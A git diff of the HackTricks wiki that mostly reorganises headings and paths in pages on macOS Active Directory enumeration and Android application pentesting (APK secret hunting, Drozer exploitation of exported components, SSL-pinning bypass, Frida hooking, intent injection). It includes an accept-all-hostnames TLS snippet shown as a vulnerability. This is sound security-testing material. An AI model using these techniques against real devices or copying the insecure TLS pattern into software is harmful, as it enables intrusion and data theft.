@@ -16,8 +16,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# Common management methods +## Common management methods * JAMF Pro: `jamf checkJSSConnection` * Kandji @@ -36,20 +35,20 @@ And also about **MacOS** "special" **network** **protocols**: [macos-protocols.md](macos-protocols.md) {% endcontent-ref %} -# Active Directory +## Active Directory In some occasions you will find that the **MacOS computer is connected to an AD**. In this scenario you should try to **enumerate** the active directory as you are use to it. Find some **help** in the following pages: -{% content-ref url="../../pentesting/pentesting-ldap.md" %} -[pentesting-ldap.md](../../pentesting/pentesting-ldap.md) +{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %} +[pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md) {% endcontent-ref %} -{% content-ref url="../../windows/active-directory-methodology/" %} -[active-directory-methodology](../../windows/active-directory-methodology/) +{% content-ref url="../../windows-hardening/active-directory-methodology/" %} +[active-directory-methodology](../../windows-hardening/active-directory-methodology/) {% endcontent-ref %} -{% content-ref url="../../pentesting/pentesting-kerberos-88/" %} -[pentesting-kerberos-88](../../pentesting/pentesting-kerberos-88/) +{% content-ref url="../../network-services-pentesting/pentesting-kerberos-88/" %} +[pentesting-kerberos-88](../../network-services-pentesting/pentesting-kerberos-88/) {% endcontent-ref %} Some **local MacOS tool** that may also help you is `dscl`: @@ -64,13 +63,13 @@ Also there are some tools prepared for MacOS to automatically enumerate the AD a * [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost is an Objective-C project designed to interact with the Heimdal krb5 APIs on macOS. The goal of the project is to enable better security testing around Kerberos on macOS devices using native APIs without requiring any other framework or packages on the target. * [**Orchard**](https://github.com/its-a-feature/Orchard): JavaScript for Automation (JXA) tool to do Active Directory enumeration. -## Domain Information +### Domain Information ``` echo show com.apple.opendirectoryd.ActiveDirectory | scutil ``` -## Users +### Users The three types of MacOS users are: @@ -79,7 +78,7 @@ The three types of MacOS users are: * **Mobile Users** — Active Directory users with a local backup for their credentials and files. The local information about users and groups is stored in in the folder _/var/db/dslocal/nodes/Default._\ -__For example, the info about user called _mark_ is stored in _/var/db/dslocal/nodes/Default/users/mark.plist_ and the info about the group _admin_ is in _/var/db/dslocal/nodes/Default/groups/admin.plist_. +\_\_For example, the info about user called _mark_ is stored in _/var/db/dslocal/nodes/Default/users/mark.plist_ and the info about the group _admin_ is in _/var/db/dslocal/nodes/Default/groups/admin.plist_. In addition to using the HasSession and AdminTo edges, **MacHound adds three new edges** to the Bloodhound database: @@ -111,21 +110,20 @@ dsconfigad -show More info in [https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/) -# External Services +## External Services MacOS Red Teaming is different from a regular Windows Red Teaming as usually **MacOS is integrated with several external platforms directly**. A common configuration of MacOS is to access to the computer using **OneLogin synchronised credentials, and accessing several external services** (like github, aws...) via OneLogin: ![](<../../.gitbook/assets/image (563).png>) -## +### -# References +## References * [https://www.youtube.com/watch?v=IiMladUbL6E](https://www.youtube.com/watch?v=IiMladUbL6E) * [https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6](https://medium.com/xm-cyber/introducing-machound-a-solution-to-macos-active-directory-based-attacks-2a425f0a22b6) * [https://gist.github.com/its-a-feature/1a34f597fb30985a2742bb16116e74e0](https://gist.github.com/its-a-feature/1a34f597fb30985a2742bb16116e74e0) -
Support HackTricks and get benefits! @@ -141,5 +139,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/macos/macos-security-and-privilege-escalation/macos-serial-number.md b/macos-hardening/macos-security-and-privilege-escalation/macos-serial-number.md similarity index 100% rename from macos/macos-security-and-privilege-escalation/macos-serial-number.md rename to macos-hardening/macos-security-and-privilege-escalation/macos-serial-number.md diff --git a/mobile-apps-pentesting/android-app-pentesting/README.md b/mobile-pentesting/android-app-pentesting/README.md similarity index 95% rename from mobile-apps-pentesting/android-app-pentesting/README.md rename to mobile-pentesting/android-app-pentesting/README.md index 7efa16be..bf8eb4bd 100644 --- a/mobile-apps-pentesting/android-app-pentesting/README.md +++ b/mobile-pentesting/android-app-pentesting/README.md @@ -1,5 +1,7 @@ # Android Applications Pentesting +## Android Applications Pentesting +
Support HackTricks and get benefits! @@ -16,8 +18,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# Android Applications Basics +## Android Applications Basics It's highly recommended to start reading this page to know about the **most important parts related to Android security and the most dangerous components in an Android application**: @@ -25,19 +26,19 @@ It's highly recommended to start reading this page to know about the **most impo [android-applications-basics.md](android-applications-basics.md) {% endcontent-ref %} -# ADB (Android Debug Bridge) +## ADB (Android Debug Bridge) This is the main tool you need to connect to an android device (emulated or physical).\ It allows you to control your device over **USB** or **Network** from a computer, **copy** files back and forth, **install** and uninstall apps, run **shell** commands, perform **backups**, read **logs** and more. Take a look to the following list of [**ADB Commands**](adb-commands.md) \_\*\*\_to learn how to use adb. -# Smali +## Smali Sometimes it is interesting to **modify the application code** to access **hidden information** (maybe well obfuscated passwords or flags). Then, it could be interesting to decompile the apk, modify the code and recompile it.\ [**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). This could be very useful as an **alternative for several tests during the dynamic analysis** that are going to presented. Then, **keep always in mid this possibility**. -# Other interesting tricks +## Other interesting tricks * [Spoofing your location in Play Store](spoofing-your-location-in-play-store.md) * **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/) @@ -53,20 +54,20 @@ package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk adb pull /data/app/com.android.insecurebankv2- Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk ``` -# Static Analysis +## Static Analysis First of all, for analysing an APK you should **take a look to the to the Java code** using a decompiler.\ Please, [**read here to find information about different available decompilers**](apk-decompilers.md). -## Looking for interesting Info +### Looking for interesting Info Just taking a look to the **strings** of the APK you can search for **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** and anything interesting... look even for code execution **backdoors** or authentication backdoors (hardcoded admin credentials to the app). **Firebase** -Pay special attention to **firebase URLs** and check if it is bad configured. [More information about whats is FIrebase and how to exploit it here.](../../pentesting/pentesting-web/buckets/firebase-database.md) +Pay special attention to **firebase URLs** and check if it is bad configured. [More information about whats is FIrebase and how to exploit it here.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) -## Basic understanding of the application - Manifest.xml, strings.xml +### Basic understanding of the application - Manifest.xml, strings.xml Using any of the **decompilers** mentioned [**here** ](apk-decompilers.md)you will be able to read the _Manifest.xml_. You could also **rename** the **apk** file extension **to .zip** and **unzip** it.\ Reading the **manifest** you can find **vulnerabilities**: @@ -91,7 +92,7 @@ Reading **resources.arsc/strings.xml** you can find some **interesting info**: * Custom schemas * Other interesting info developers save in this file -## Tapjacking +### Tapjacking **Tapjacking** is an attack where a **malicious** **application** is launched and **positions itself on top of a victim application**. Once it visibly obscures the victim app, its user interface is designed in such a way as to trick the user to interact with it, while it is passing the interaction along to the victim app.\ In effect, it is **blinding the user from knowing they are actually performing actions on the victim app**. @@ -117,13 +118,13 @@ The mitigation is relatively simple as the developer may choose not to receive t > > To enable touch filtering, call [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) or set the android:filterTouchesWhenObscured layout attribute to true. When enabled, the framework will discard touches that are received whenever the view's window is obscured by another visible window. As a result, the view will not receive touches whenever a toast, dialog or other window appears above the view's window. -## Task Hijacking +### Task Hijacking {% content-ref url="android-task-hijacking.md" %} [android-task-hijacking.md](android-task-hijacking.md) {% endcontent-ref %} -## Insecure data storage +### Insecure data storage **Internal Storage** @@ -148,7 +149,7 @@ Starting with Android 4.4 (**API 17**), the SD card has a directory structure wh * **Shared preferences**: Android allow to each application to easily save xml files in the path `/data/data//shared_prefs/` and sometimes it's possible to find sensitive information in clear-text in that folder. * **Databases**: Android allow to each application to easily save sqlite databases in the path `/data/data//databases/` and sometimes it's possible to find sensitive information in clear-text in that folder. -## Broken TLS +### Broken TLS **Accept All Certificates** @@ -161,7 +162,7 @@ sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); A good way to test this is to try to capture the traffic using some proxy like Burp without authorising Burp CA inside the device. Also, you can generate with Burp a certificate for a different hostname and use it. -## Broken Cryptography +### Broken Cryptography **Poor Key Management Processes** @@ -171,7 +172,7 @@ Some developers save sensitive data in the local storage and encrypt it with a k Developers shouldn't use **deprecated algorithms** to perform authorisation **checks**, **store** or **send** data. Some of these algorithms are: RC4, MD4, MD5, SHA1... If **hashes** are used to store passwords for example, hashes brute-force **resistant** should be used with salt. -## Other checks +### Other checks * It's recommended to **obfuscate the APK** to difficult the reverse engineer labour to attackers. * If the app is sensitive (like bank apps), it should perform it's **own checks to see if the mobile is rooted** and act in consequence. @@ -179,7 +180,7 @@ Developers shouldn't use **deprecated algorithms** to perform authorisation **ch * If the app is sensitive (like bank apps), it should **check it's own integrity before executing** it to check if it was modified. * Use [**APKiD**](https://github.com/rednaga/APKiD) to check which compiler/packer/obfuscator was used to build the APK -## React Native Application +### React Native Application Read the following page to learn how to easily access javascript code of React applications: @@ -187,7 +188,7 @@ Read the following page to learn how to easily access javascript code of React a [react-native-application.md](react-native-application.md) {% endcontent-ref %} -## Xamarin Applications +### Xamarin Applications **Xamarin** apps are written in **C#**, in order to access the C# code **decompressed,** you need to get the files from the **apk**: @@ -203,30 +204,30 @@ python3 xamarin-decompress.py -o /path/to/decompressed/apk and finally you can use [**these recommended tools**](../../reversing/reversing-tools-basic-methods/#net-decompiler) to **read C# code** from the DLLs. -## Automated Static Code Analysis +### Automated Static Code Analysis The tool [**mariana-trench**](https://github.com/facebook/mariana-trench) is capable of finding **vulnerabilities** by **scanning** the **code** of the application. This tool contains a series of **known sources** (that indicates to the tool the **places** where the **input** is **controlled by the user**), **sinks** (which indicates to the tool **dangerous** **places** where malicious user input could cause damages) and **rules**. These rules indicates the **combination** of **sources-sinks** that indicates a vulnerability. With this knowledge, **mariana-trench will review the code and find possible vulnerabilities on it**. -## Other interesting functions +### Other interesting functions * **Code execution**: `Runtime.exec(), ProcessBuilder(), native code:system()` * **Send SMSs**: `sendTextMessage, sendMultipartTestMessage` * **Native functions** declared as `native`: `public native, System.loadLibrary, System.load` * [Read this to learn **how to reverse native functions**](reversing-native-libraries.md) -## **Other tricks** +### **Other tricks** {% content-ref url="content-protocol.md" %} [content-protocol.md](content-protocol.md) {% endcontent-ref %} -# Dynamic Analysis +## Dynamic Analysis > First of all, you need an environment where you can install the application and all the environment (Burp CA cert, Drozer and Frida mainly). Therefore, a rooted device (emulated or not) is extremely recommended. -## Online Dynamic analysis +### Online Dynamic analysis You can create a **free account** in: [https://appetize.io/](https://appetize.io). This platform allows you to **upload** and **execute** APKs, so it is useful to see how an apk is behaving. @@ -236,7 +237,7 @@ You can even **see the logs of your application** in the web and connect through Thanks to the ADB connection you can use **Drozer** and **Frida** inside the emulators. -## Local Dynamic Analysis +### Local Dynamic Analysis You can use some **emulator** like: @@ -267,7 +268,7 @@ Or you could use a **physical** **device** (you need to activate the debugging o > Once you have installed the application, the first thing you should do is to try it and investigate what does it do, how does it work and get comfortable with it.\ > I will suggest to **perform this initial dynamic analysis using MobSF dynamic analysis + pidcat**, so will will be able to **learn how the application works** while MobSF **capture** a lot of **interesting** **data** you can review later on. -## Unintended Data Leakage +### Unintended Data Leakage **Logging** @@ -292,7 +293,7 @@ As pentester, **try to take a look to these logs**. Most of the application uses other services in their application like Google Adsense but sometimes they **leak some sensitive data** or the data which is not required to sent to that service. This may happen because of the developer not implementing feature properly. You can **look by intercepting the traffic** of the application and see whether any sensitive data is sent to 3rd parties or not. -## SQLite DBs +### SQLite DBs Most of the applications will use **internal SQLite databases** to save information. During the pentest take a **look** to the **databases** created, the names of **tables** and **columns** and all the **data** saved because you could find **sensitive information** (which would be a vulnerability).\ Databases should be located in `/data/data/the.package.name/databases` like `/data/data/com.mwr.example.sieve/databases` @@ -301,12 +302,12 @@ If the database is saving confidential information and is **encrypted b**ut you Enumerate the tables using `.tables` and enumerate the columns of the tables doing `.schema ` -## Drozer (Exploit Activities, Content Providers and Services) +### Drozer (Exploit Activities, Content Providers and Services) **Drozer** allows you to **assume the role of an Android app** and interact with other apps. It can do **anything that an installed application can do**, such as make use of Android’s Inter-Process Communication (IPC) mechanism and interact with the underlying operating system. From [Drozer Guide](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf).\ Drozer is s useful tool to **exploit exported activities, exported services and Content Providers** as you will learn in the following sections. -## Exploiting exported Activities +### Exploiting exported Activities [**Read this if you want to remind what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\ \_\*\*\_Also remember that the code of an activity starts with the `onCreate` method. @@ -335,13 +336,13 @@ Note that an authorisation bypass is not always a vulnerability, it would depend **Activities can also return results**. If you manage to find an exported and unprotected activity calling the **`setResult`** method and **returning sensitive information**, there is a sensitive information leakage. -## Exploiting Content Providers - Accessing and manipulating sensitive information +### Exploiting Content Providers - Accessing and manipulating sensitive information [**Read this if you want to remind what is a Content Provider.**](android-applications-basics.md#content-provider)\ Content providers are basically used to **share data**. If an app has available content providers you may be able to **extract sensitive** data from them. It also interesting to test possible **SQL injections** and **Path Traversals** as they could be vulnerable.\ [**Learn how to exploit Content Providers with Drozer.**](drozer-tutorial/#content-providers) -## **Exploiting Services** +### **Exploiting Services** [**Read this if you want to remind what is a Service.**](android-applications-basics.md#services)\ \_\*\*\_Remember that a the actions of a Service start in the method `onStartCommand`. @@ -349,7 +350,7 @@ Content providers are basically used to **share data**. If an app has available As service is basically something that **can receive data**, **process** it and **returns** (or not) a response. Then, if an application is exporting some services you should **check** the **code** to understand what is it doing and **test** it **dynamically** for extracting confidential info, bypassing authentication measures...\ [**Learn how to exploit Services with Drozer.**](drozer-tutorial/#services) -## **Exploiting Broadcast Receivers** +### **Exploiting Broadcast Receivers** [**Read this if you want to remind what is a Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\ \_\*\*\_Remember that a the actions of a Broadcast Receiver start in the method `onReceive`. @@ -357,7 +358,7 @@ As service is basically something that **can receive data**, **process** it and A broadcast receiver will be waiting for a type of message. Depending on ho the receiver handles the message it could be vulnerable.\ [**Learn how to exploit Broadcast Receivers with Drozer.**](./#exploiting-broadcast-receivers) -## **Exploiting Schemes / Deep links** +### **Exploiting Schemes / Deep links** You can look for deep links manually, using tools like MobSF or scripts like [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\ You can **open** a declared **scheme** using **adb** or a **browser**: @@ -379,7 +380,7 @@ _Note that you can **omit the package name** and the mobile will automatically c In order to find the **code that will be executed in the App**, go to the activity called by the deeplink and search the function **`onNewIntent`**. -![](<../../.gitbook/assets/image (436) (1) (1).png>) +![](<../../.gitbook/assets/image (436) (1) (1) (1).png>) **Sensitive info** @@ -394,13 +395,13 @@ Note that if you find the correct endpoints inside the application you may be ab An [interesting bug bounty report](https://hackerone.com/reports/855618) about links (_/.well-known/assetlinks.json_). -## Insufficient Transport Layer Protection +### Insufficient Transport Layer Protection * **Lack of Certificate Inspection:** Android Application fails to verify the identity of the certificate presented to it. Most of the application ignore the warnings and accept any self-signed certificate presented. Some Application instead pass the traffic through an HTTP connection. * **Weak Handshake Negotiation:** Application and server perform an SSL/TLS handshake but use an insecure cipher suite which is vulnerable to MITM attacks. So any attacker can easily decrypt that connection. * **Privacy Information Leakage:** Most of the times it happens that Applications do authentication through a secure channel but rest all connection through non-secure channel. That doesn’t add to security of application because rest sensitive data like session cookie or user data can be intercepted by an malicious user. -From the 3 scenarios presented we are going to discuss **how to verify the identity of the certificate**. The other 2 scenarios depends on the **TLS configuratio**n of the server and if the **application sends unencrypted data**. The pentester should check by it's own the TLS configuration of the server ([here](../../pentesting/pentesting-web/#ssl-tls-vulnerabilites)) and detect if any **confidential information is sent by an unencrypted/vulnerable** channel .\ +From the 3 scenarios presented we are going to discuss **how to verify the identity of the certificate**. The other 2 scenarios depends on the **TLS configuratio**n of the server and if the **application sends unencrypted data**. The pentester should check by it's own the TLS configuration of the server ([here](../../network-services-pentesting/pentesting-web/#ssl-tls-vulnerabilites)) and detect if any **confidential information is sent by an unencrypted/vulnerable** channel .\ More information about how to discover and fix these kind of vulnerabilities [**here**](https://manifestsecurity.com/android-application-security-part-10/). **SSL Pinning** @@ -409,7 +410,7 @@ By default, when making an SSL connection, the client(android app) checks that t In certificate Pinnning, an Android Application itself contains the certificate of server and only transmit data if the same certificate is presented.\ It's recommended to **apply SSL Pinning** for the sites where sensitive information is going to be sent. -## Inspecting HTTP traffic +### Inspecting HTTP traffic First of all, you should (must) **install the certificate** of the **proxy** tool that you are going to use, probably Burp. If you don't install the CA certificate of the proxy tool, you probably aren't going to see the encrypted traffic in the proxy.\ **Please,** [**read this guide to learn how to do install a custom CA certificate**](android-burp-suite-settings.md)**.** @@ -431,7 +432,7 @@ Here I'm going to present a few options I've used to bypass this protection: Note that in this step you should look for common web vulnerabilities. A lot of information about web vulnerabilities be found in this book so I'm not going to mention them here. -## Frida +### Frida Dynamic instrumentation toolkit for developers, reverse-engineers, and security researchers. Learn more at [www.frida.re](https://www.frida.re).\ **It's amazing, you can access running application and hook methods on run time to change the behaviour, change values, extract values, run different code...**\ @@ -442,17 +443,17 @@ Dynamic instrumentation toolkit for developers, reverse-engineers, and security **Some other abstractions based on Frida:** [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)\ **You can find some Awesome Frida scripts here:** [**https://codeshare.frida.re/**](https://codeshare.frida.re) -## **Android Application Analyzer** +### **Android Application Analyzer** This tool could help you managing different tools during the dynamic analysis: [https://github.com/NotSoSecure/android\_application\_analyzer](https://github.com/NotSoSecure/android\_application\_analyzer) -## Intent Injection +### Intent Injection This vulnerability resembles **Open Redirect in web security**. Since class `Intent` is `Parcelable`, **objects belonging to this class** can be **passed** as **extra** **data** in another `Intent` object.\ Many developers make **use** of this **feature** and create **proxy** **components** (activities, broadcast receivers and services) that **take an embedded Intent and pass it to dangerous methods** like `startActivity(...)`, `sendBroadcast(...)`, etc.\ This is dangerous because **an attacker can force the app to launch a non-exported component that cannot be launched directly from another app**, or to grant the attacker access to its content providers. **`WebView`** also sometimes changes a **URL from a string to an `Intent`** object, using the `Intent.parseUri(...)` method, and passes it to `startActivity(...)`. -## Android Client Side Injections and others +### Android Client Side Injections and others Probably you know about this kind of vulnerabilities from the Web. You have to be specially careful with this vulnerabilities in an Android application: @@ -462,9 +463,9 @@ Probably you know about this kind of vulnerabilities from the Web. You have to b * **Eternal cookies**: In several cases when the android application finish the session the cookie isn't revoked or it could be even saved to disk * [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/#cookies-flags) -# Automatic Analysis +## Automatic Analysis -## [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF) +### [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF) **Static analysis** @@ -482,7 +483,7 @@ Also, if you create a **ZIP** file with the source code if an **Android** or an MobSF also allows you to **diff/Compare** analysis and to integrate **VirusTotal** (you will need to set your API key in _MobSF/settings.py_ and enable it: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). You can also set `VT_UPLOAD` to `False`, then the **hash** will be **upload** instead of the file. -## Assisted Dynamic analysis with MobSF +### Assisted Dynamic analysis with MobSF **MobSF** can also be very helpful for **dynamic analysis** in **Android**, but in that case you will need to install MobSF and **genymotion** in your host (a VM or Docker won't work). _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\ The **MobSF dynamic analyser** can: @@ -542,7 +543,7 @@ adb shell settings put global http_proxy :0 ``` {% endhint %} -## Assisted Dynamic Analysis with Inspeckage +### Assisted Dynamic Analysis with Inspeckage You can get the tool from [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\ This tool with use some **Hooks** to let you know **what is happening in the application** while you perform a **dynamic analysis**. @@ -551,13 +552,13 @@ This tool with use some **Hooks** to let you know **what is happening in the app [inspeckage-tutorial.md](inspeckage-tutorial.md) {% endcontent-ref %} -## [Yaazhini](https://www.vegabird.com/yaazhini/) +### [Yaazhini](https://www.vegabird.com/yaazhini/) This is a **great tool to perform static analysis with a GUI** ![](<../../.gitbook/assets/image (527).png>) -## [Qark](https://github.com/linkedin/qark) +### [Qark](https://github.com/linkedin/qark) This tool is designed to look for several **security related Android application vulnerabilities**, either in **source code** or **packaged APKs**. The tool is also **capable of creating a "Proof-of-Concept" deployable APK** and **ADB commands**, to exploit some of the found vulnerabilities (Exposed activities, intents, tapjacking...). As with Drozer, there is no need to root the test device. @@ -568,7 +569,7 @@ qark --java path/to/parent/java/folder qark --java path/to/specific/java/file.java ``` -## [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git) +### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git) * Displays all extracted files for easy reference * Automatically decompile APK files to Java and Smali format @@ -594,7 +595,7 @@ qark --java path/to/specific/java/file.java reverse-apk relative/path/to/APP.apk ``` -## [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super) +### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super) SUPER is a command-line application that can be used in Windows, MacOS X and Linux, that analyzes _.apk_ files in search for vulnerabilities. It does this by decompressing APKs and applying a series of rules to detect those vulnerabilities. @@ -606,7 +607,7 @@ Download the latest binaries from in the [download page](https://superanalyzer.r super-analyzer {apk_file} ``` -## [StaCoAn](https://github.com/vincentcox/StaCoAn) +### [StaCoAn](https://github.com/vincentcox/StaCoAn) ![](<../../.gitbook/assets/image (62).png>) @@ -620,7 +621,7 @@ Download[ latest release](https://github.com/vincentcox/StaCoAn/releases): ./stacoan ``` -## [AndroBugs](https://github.com/AndroBugs/AndroBugs\_Framework) +### [AndroBugs](https://github.com/AndroBugs/AndroBugs\_Framework) AndroBugs Framework is an Android vulnerability analysis system that helps developers or hackers find potential security vulnerabilities in Android applications.\ [Windows releases](https://github.com/AndroBugs/AndroBugs\_Framework/releases) @@ -630,7 +631,7 @@ python androbugs.py -f [APK file] androbugs.exe -f [APK file] ``` -## [Androwarn](https://github.com/maaaaz/androwarn) +### [Androwarn](https://github.com/maaaaz/androwarn) **Androwarn** is a tool whose main aim is to detect and warn the user about potential malicious behaviours developped by an Android application. @@ -642,7 +643,7 @@ This tool looks for **common behavior of "bad" applications** like: Telephony id python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ``` -## [MARA Framework](https://github.com/xtiankisutsa/MARA\_Framework) +### [MARA Framework](https://github.com/xtiankisutsa/MARA\_Framework) ![](<../../.gitbook/assets/image (81).png>) @@ -657,15 +658,15 @@ It is able to: * Analyze found domains using: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) and [whatweb](https://github.com/urbanadventurer/WhatWeb) * Deobfuscate APK via [apk-deguard.com](http://www.apk-deguard.com) -## Koodous +### Koodous Useful to detect malware: [https://koodous.com/](https://koodous.com) -# Obfuscating/Deobfuscating code +## Obfuscating/Deobfuscating code Note that depending the service and configuration you use to obfuscate the code. Secrets may or may not ended obfuscated. -## [ProGuard](https://en.wikipedia.org/wiki/ProGuard\_\(software\)) +### [ProGuard](https://en.wikipedia.org/wiki/ProGuard\_\(software\)) **ProGuard** is an open source command-line tool that shrinks, optimizes and obfuscates Java code. It is able to optimize bytecode as well as detect and remove unused instructions. ProGuard is free software and is distributed under the GNU General Public License, version 2. @@ -673,40 +674,40 @@ ProGuard is distributed as part of the Android SDK and runs when building the ap From: [https://en.wikipedia.org/wiki/ProGuard\_(software)](https://en.wikipedia.org/wiki/ProGuard\_\(software\)) -## [DeGuard](http://apk-deguard.com) +### [DeGuard](http://apk-deguard.com) **DeGuard reverses the process of obfuscation performed by Android obfuscation tools. This enables numerous security analyses, including code inspection and predicting libraries.** You can upload an obfuscated APK to their platform. -## [Simplify](https://github.com/CalebFenton/simplify) +### [Simplify](https://github.com/CalebFenton/simplify) It is a **generic android deobfuscator.** Simplify **virtually executes an app** to understand its behavior and then **tries to optimize the code** so it behaves identically but is easier for a human to understand. Each optimization type is simple and generic, so it doesn't matter what the specific type of obfuscation is used. -## [APKiD](https://github.com/rednaga/APKiD) +### [APKiD](https://github.com/rednaga/APKiD) APKiD gives you information about **how an APK was made**. It identifies many **compilers**, **packers**, **obfuscators**, and other weird stuff. It's [_PEiD_](https://www.aldeid.com/wiki/PEiD) for Android. -## Manual +### Manual [Read this tutorial to learn some tricks on **how to reverse custom obfuscation**](manual-deobfuscation.md) -# Labs +## Labs -## [Androl4b](https://github.com/sh4hin/Androl4b) +### [Androl4b](https://github.com/sh4hin/Androl4b) AndroL4b is an Android security virtual machine based on ubuntu-mate includes the collection of latest framework, tutorials and labs from different security geeks and researchers for reverse engineering and malware analysis. -## OWASP +### OWASP {% embed url="https://github.com/OWASP/owasp-mstg%0Ahttps://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication" %} -## Git Repos +### Git Repos [https://github.com/riddhi-shree/nullCommunity/tree/master/Android](https://github.com/riddhi-shree/nullCommunity/tree/master/Android)\ [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab\_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab\_channel=B3nacSec) -# References +## References For more information visit: @@ -715,7 +716,7 @@ For more information visit: * [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/) * [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh) -# To Test +## To Test * [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/) * [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit) diff --git a/mobile-apps-pentesting/android-app-pentesting/adb-commands.md b/mobile-pentesting/android-app-pentesting/adb-commands.md similarity index 100% rename from mobile-apps-pentesting/android-app-pentesting/adb-commands.md rename to mobile-pentesting/android-app-pentesting/adb-commands.md diff --git a/mobile-apps-pentesting/android-app-pentesting/android-applications-basics.md b/mobile-pentesting/android-app-pentesting/android-applications-basics.md similarity index 96% rename from mobile-apps-pentesting/android-app-pentesting/android-applications-basics.md rename to mobile-pentesting/android-app-pentesting/android-applications-basics.md index a55df7f9..f596ff3a 100644 --- a/mobile-apps-pentesting/android-app-pentesting/android-applications-basics.md +++ b/mobile-pentesting/android-app-pentesting/android-applications-basics.md @@ -1,5 +1,7 @@ # Android Applications Basics +## Android Applications Basics +
Support HackTricks and get benefits! @@ -16,29 +18,28 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# Android Security Model +## Android Security Model **There are two layers:** * The **OS**, which keeps installed applications isolated from one another. * The **application itself**, which allows developers to **expose certain functionalities** and configures application capabilities. -## UID Separation +### UID Separation **Each application is assigned a specific User ID**. This is done during the installation of the app so t**he app can only interact with files owned by its User ID or shared** files. Therefore, only the app itself, certain components of the OS and the root user can access the apps data. -## UID Sharing +### UID Sharing **Two applications can be configured to use the same UID**. This can be useful to share information, but if one of them is compromised the data of both applications will be compromised. This is why this behaviour is **discourage**.\ **To share the same UID, applications must define the same `android:sharedUserId` value in their manifests.** -## Sandboxing +### Sandboxing The **Android Application Sandbox** allows to run **each application** as a **separate process under a separate user ID**. Each process has its own virtual machine, so an app’s code runs in isolation from other apps.\ From Android 5.0(L) **SELinux** is enforced. Basically, SELinux denied all process interactions and then created policies to **allow only the expected interactions between them**. -## Permissions +### Permissions When you installs an **app and it ask for permissions**, the app is asking for the permissions configured in the **`uses-permission`** elements in the **AndroidManifest.xml** file. The **uses-permission** element indicates the name of the requested permission inside the **name** **attribute.** It also has the **maxSdkVersion** attribute which stops asking for permissions on versions higher than the one specified.\ Note that android applications don't need to ask for all the permissions at the beginning, they can also **ask for permissions dynamically** but all the permissions must be **declared** in the **manifest.** @@ -54,7 +55,7 @@ A permission element has three attributes: * **Signature**: Only **apps signed by the same certificate as the one** exporting the component can be granted permission. This is the strongest type of protection. * **SignatureOrSystem**: Only **apps signed by the same certificate as the one** exporting the component or **apps running with system-level access** can be granted permissions -# Pre-Installed Applications +## Pre-Installed Applications These apps are generally found in the **`/system/app`** or **`/system/priv-app`** directories and some of them are **optimised** (you may not even find the `classes.dex` file). Theses applications are worth checking because some times they are **running with too many permissions** (as root). @@ -62,7 +63,7 @@ These apps are generally found in the **`/system/app`** or **`/system/priv-app`* * Added by the device **manufacturer** * Added by the cell **phone provider** (if purchased from them) -# Rooting +## Rooting In order to obtain root access into a physical android device you generally need to **exploit** 1 or 2 **vulnerabilities** which use to be **specific** for the **device** and **version**.\ Once the exploit has worked, usually the Linux `su` binary is copied into a location specified in the user's PATH env variable like `/system/xbin`. @@ -73,22 +74,22 @@ Once the su binary is configured, another Android app is used to interface with Note that the rooting process is very dangerous and can damage severely the device {% endhint %} -## ROMs +### ROMs It's possible to **replace the OS installing a custom firmware**. Doing this it's possible to extend the usefulness of an old device, bypass software 